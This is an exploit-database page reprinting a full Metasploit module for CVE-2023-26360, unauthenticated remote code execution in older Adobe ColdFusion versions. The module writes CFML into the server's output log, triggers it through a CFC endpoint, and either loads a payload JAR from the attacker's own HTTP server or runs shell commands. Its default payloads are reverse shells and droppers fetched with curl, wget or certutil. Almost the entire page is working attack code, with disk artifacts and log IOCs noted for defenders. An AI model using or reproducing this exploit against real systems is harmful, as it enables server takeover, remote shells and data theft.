Adobe ColdFusion Unauthenticated Remote Code Execution

2023.05.03
Credit: sf
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'sf', # MSF Exploit & Rapid7 Analysis ], 'References' => [ ['CVE', '2023-26360'], ['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis'] ], 'DisclosureDate' => '2023-03-14', 'Platform' => %w[java win linux unix], 'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux. 'WfsDelay' => 30, 'Targets' => [ [ 'Generic Java', { 'Type' => :java, 'Platform' => 'java', 'Arch' => [ ARCH_JAVA ], 'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' } }, ], [ 'Windows Command', { 'Type' => :cmd, 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } }, ], [ 'Windows Dropper', { 'Type' => :dropper, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Type' => :cmd, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' } }, ], [ 'Linux Dropper', { 'Type' => :dropper, 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ # The following artifacts will be left on disk: # The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary) # * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class # * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class # If a dropper payload was used, a file with a random name may be left. # * Windows: C:\Windows\Temp\XXXXXX.exe # * Linux: /tmp/XXXXXX ARTIFACTS_ON_DISK, # The following logs will contain IOCs: # C:\ColdFusion2021\cfusion\logs\coldfusion-out.log # C:\ColdFusion2021\cfusion\logs\exception.log # C:\ColdFusion2021\cfusion\logs\application.log IOC_IN_LOGS ], 'RelatedModules' => [ 'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360' ] } ) ) register_options( [ Opt::RPORT(8500), OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']), OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']), OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log']) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/' ) return CheckCode::Unknown('Connection failed') unless res # We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint # to match a ColdFusion cookie, and use this information to detect ColdFusion as being present. # https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69 if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/ return CheckCode::Detected('ColdFusion detected but version number is unknown.') end CheckCode::Unknown end def exploit unless datastore['CFC_ENDPOINT'].end_with?('.cfc') fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file') end case target['Type'] when :java # Start the HTTP server start_service # Trigger a loadClass request via java.net.URLClassLoader trigger_urlclassloader # Handle the payload... handler when :cmd execute_command(payload.encoded) when :dropper execute_cmdstager end end def on_request_uri(cli, _req) if target['Type'] == :java print_status('Received payload request, transmitting payload jar...') send_response(cli, payload.encoded, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', 'Pragma' => 'no-cache' }) else super end end def trigger_urlclassloader # Here we construct a CFML payload to load a Java payload via URLClassLoader. # NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned. cf_url = Rex::Text.rand_text_alpha_lower(4) srvhost = datastore['SRVHOST'] # Ensure SRVHOST is a routable IP address to our RHOST. if Rex::Socket.addr_atoi(srvhost) == 0 srvhost = Rex::Socket.source_address(rhost) end # Create a URL pointing back to our HTTP server. cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>" cf_reflectarray = Rex::Text.rand_text_alpha_lower(4) # Get a reference to java.lang.reflect.Array so we can create a URL[] instance. cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>" cf_array = Rex::Text.rand_text_alpha_lower(4) # Create a URL[1] instance. cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>" # Set the first element in the array to our URL. cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>" cf_loader = Rex::Text.rand_text_alpha_lower(4) # Create a URLClassLoader instance. cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>" # Load the remote JAR file and instantiate an instance of metasploit.Payload. cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>" execute_cfml(cfc_payload) end def execute_command(cmd, _opts = {}) cf_param = Rex::Text.rand_text_alpha_lower(4) # If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags. cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>" # Set our cf_param with the data in the requests form data, this is the command to run. cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>" # Here we construct a CFML payload to stage the :cmd and :dropper commands... shell_name = nil shell_arg = nil case target['Platform'] when 'win' shell_name = 'cmd.exe' shell_arg = '/C' when 'linux', 'unix' shell_name = '/bin/sh' shell_arg = '-c' end cf_array = Rex::Text.rand_text_alpha_lower(4) # Create an array of arguments to pass to exec() cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>" cf_runtime = Rex::Text.rand_text_alpha_lower(4) # Get a reference to the java.lang.Runtime class. cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>" # Call the static Runtime.exec method to execute our string array holding the command and the arguments. cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>" # The end of the If tag. cfc_payload << '</cfif>' execute_cfml(cfc_payload, cf_param, cmd) end def execute_cfml(cfml, param = nil, param_data = nil) cfc_payload = '<cftry>' cfc_payload << cfml cfc_payload << "<cfcatch type='any'>" cfc_payload << '</cfcatch>' cfc_payload << '<cffinally>' # Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands. # GetCurrentTemplatePath returns 'C:\ColdFusion2021\cfusion\wwwroot\..\logs\coldfusion-out.log' as this is the # template we are executing. cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>" cfc_payload << '</cffinally>' cfc_payload << '</cftry>' # We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here. unless cfc_payload.length < 950 fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file') end # We dont need to call a valid CFC method, so we just create a random method name to supply to the server. cfc_method = Rex::Text.rand_text_alpha_lower(1..8) # Perform the request that writes the cfc_payload to the CF_LOGFILE. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(datastore['CFC_ENDPOINT']), 'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' }, 'vars_post' => { '_variables' => "{#{cfc_payload}" } ) unless res && res.code == 200 && res.body.include?('<title>Error</title>') fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file') end # The relative path from wwwroot to the CF_LOGFILE. cflog_file = datastore['CF_LOGFILE'] # To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters # to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name. if target['Platform'] == 'win' classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\\')}" else classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}" end json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}" vars_post = { '_variables' => json_variables } unless param.nil? || param_data.nil? vars_post[param] = param_data end # Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be # executed as a parameter which will in turn be read back out by the CFML in the cfc_payload. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(datastore['CFC_ENDPOINT']), 'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' }, 'vars_post' => vars_post ) unless res && res.code == 200 && res.body.include?('<title>Error</title>') fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file') end end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top